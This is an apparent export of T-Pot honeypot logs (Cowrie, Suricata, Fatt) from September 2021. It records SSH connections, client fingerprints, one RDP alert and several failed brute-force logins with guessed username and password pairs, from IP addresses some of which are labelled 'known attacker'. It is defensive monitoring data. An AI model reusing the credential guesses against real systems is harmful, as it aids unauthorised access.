"ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "8e29cb4e7ead", "@version": "1", "timestamp": "2021-09-20T11:15:07.689595Z", "@timestamp": "2021-09-20T11:15:07.689Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
27704	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:15:13.505003+03	2021-09-20 14:30:01.813524+03	{"_id": "ugbqAnwBvYTbRNuEySlH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [c23479/c23479] failed", "session": "b2e99793ae39", "@version": "1", "password": "c23479", "username": "c23479", "timestamp": "2021-09-20T11:15:13.505003Z", "@timestamp": "2021-09-20T11:15:13.505Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
27620	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:15:07.726165+03	2021-09-20 14:30:01.706524+03	{"_id": "SwbqAnwBvYTbRNuEsSnP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "f8b079b1ad98", "@version": "1", "duration": 3.2111852169036865, "timestamp": "2021-09-20T11:15:07.726165Z", "@timestamp": "2021-09-20T11:15:07.726Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
27621	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:15:08.116029+03	2021-09-20 14:30:01.707524+03	{"_id": "XQbqAnwBvYTbRNuEtSm6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:53696 (192.168.176.2:22) [session: 7b47fb85472e]", "session": "7b47fb85472e", "@version": "1", "protocol": "ssh", "src_port": 53696, "dest_port": 22, "timestamp": "2021-09-20T11:15:08.116029Z", "@timestamp": "2021-09-20T11:15:08.116Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
27622	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:08.020142+03	2021-09-20 14:30:01.708523+03	{"_id": "XgbqAnwBvYTbRNuEtSm6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [lana/1657124] failed", "session": "6acaeeb0096d", "@version": "1", "password": "1657124", "username": "lana", "timestamp": "2021-09-20T11:15:08.020142Z", "@timestamp": "2021-09-20T11:15:08.020Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
27623	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:08.090765+03	2021-09-20 14:30:01.709524+03	{"_id": "XwbqAnwBvYTbRNuEtSm6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 4 seconds", "session": "29aca63c6f1e", "@version": "1", "duration": 4.623077630996704, "timestamp": "2021-09-20T11:15:08.090765Z", "@timestamp": "2021-09-20T11:15:08.090Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
27624	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:15:08.42835+03	2021-09-20 14:30:01.710523+03	{"_id": "YAbqAnwBvYTbRNuEtSm6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "7b47fb85472e", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:15:08.428350Z", "@timestamp": "2021-09-20T11:15:08.428Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27625	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:15:08.487615+03	2021-09-20 14:30:01.712523+03	{"_id": "YQbqAnwBvYTbRNuEtSm6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "7b47fb85472e", "@version": "1", "timestamp": "2021-09-20T11:15:08.487615Z", "@timestamp": "2021-09-20T11:15:08.487Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
27626	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:15:08.608605+03	2021-09-20 14:30:01.713524+03	{"_id": "YgbqAnwBvYTbRNuEtSm6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [test/1234567] failed", "session": "8e29cb4e7ead", "@version": "1", "password": "1234567", "username": "test", "timestamp": "2021-09-20T11:15:08.608605Z", "@timestamp": "2021-09-20T11:15:08.608Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
27627	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:15:08.659585+03	2021-09-20 14:30:01.714524+03	{"_id": "YwbqAnwBvYTbRNuEtSm6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.login.failed", "message": "login attempt [agata/gata] failed", "session": "9e29758cf749", "@version": "1", "password": "gata", "username": "agata", "timestamp": "2021-09-20T11:15:08.659585Z", "@timestamp": "2021-09-20T11:15:08.659Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
27628	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:15:08.663617+03	2021-09-20 14:30:01.716524+03	{"_id": "ZAbqAnwBvYTbRNuEtSm6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "eef9ec47a12c", "@version": "1", "duration": 2.7019338607788086, "timestamp": "2021-09-20T11:15:08.663617Z", "@timestamp": "2021-09-20T11:15:08.663Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
27629	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:15:08.741593+03	2021-09-20 14:30:01.717523+03	{"_id": "ZQbqAnwBvYTbRNuEtymk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:15:08.418305+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1409236437066241, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 50255, "dest_port": 3389, "timestamp": "2021-09-20T11:15:08.741593Z", "@timestamp": "2021-09-20T11:15:08.741Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
27630	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:15:09.062185+03	2021-09-20 14:30:01.719525+03	{"_id": "cAbqAnwBvYTbRNuEuCnh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 37458, "dest_port": 22, "timestamp": "2021-09-20T11:15:09.062185", "@timestamp": "2021-09-20T11:15:09.062Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28138	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:16:11.037429+03	2021-09-20 14:30:02.432553+03	{"_id": "hQbrAnwBvYTbRNuErCwS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "7f690ff911ad", "@version": "1", "duration": 3.173719644546509, "timestamp": "2021-09-20T11:16:11.037429Z", "@timestamp": "2021-09-20T11:16:11.037Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
27631	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:08.784004+03	2021-09-20 14:30:01.720524+03	{"_id": "cgbqAnwBvYTbRNuEuSmj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:37458 (192.168.176.2:22) [session: 3af8cd5e8103]", "session": "3af8cd5e8103", "@version": "1", "protocol": "ssh", "src_port": 37458, "dest_port": 22, "timestamp": "2021-09-20T11:15:08.784004Z", "@timestamp": "2021-09-20T11:15:08.784Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
27632	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:08.875779+03	2021-09-20 14:30:01.721524+03	{"_id": "dAbqAnwBvYTbRNuEuSmk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "3af8cd5e8103", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:15:08.875779Z", "@timestamp": "2021-09-20T11:15:08.875Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27633	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:15:08.950798+03	2021-09-20 14:30:01.723523+03	{"_id": "dQbqAnwBvYTbRNuEuSmk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.login.failed", "message": "login attempt [root/qqq111] failed", "session": "4e299524a7a1", "@version": "1", "password": "qqq111", "username": "root", "timestamp": "2021-09-20T11:15:08.950798Z", "@timestamp": "2021-09-20T11:15:08.950Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
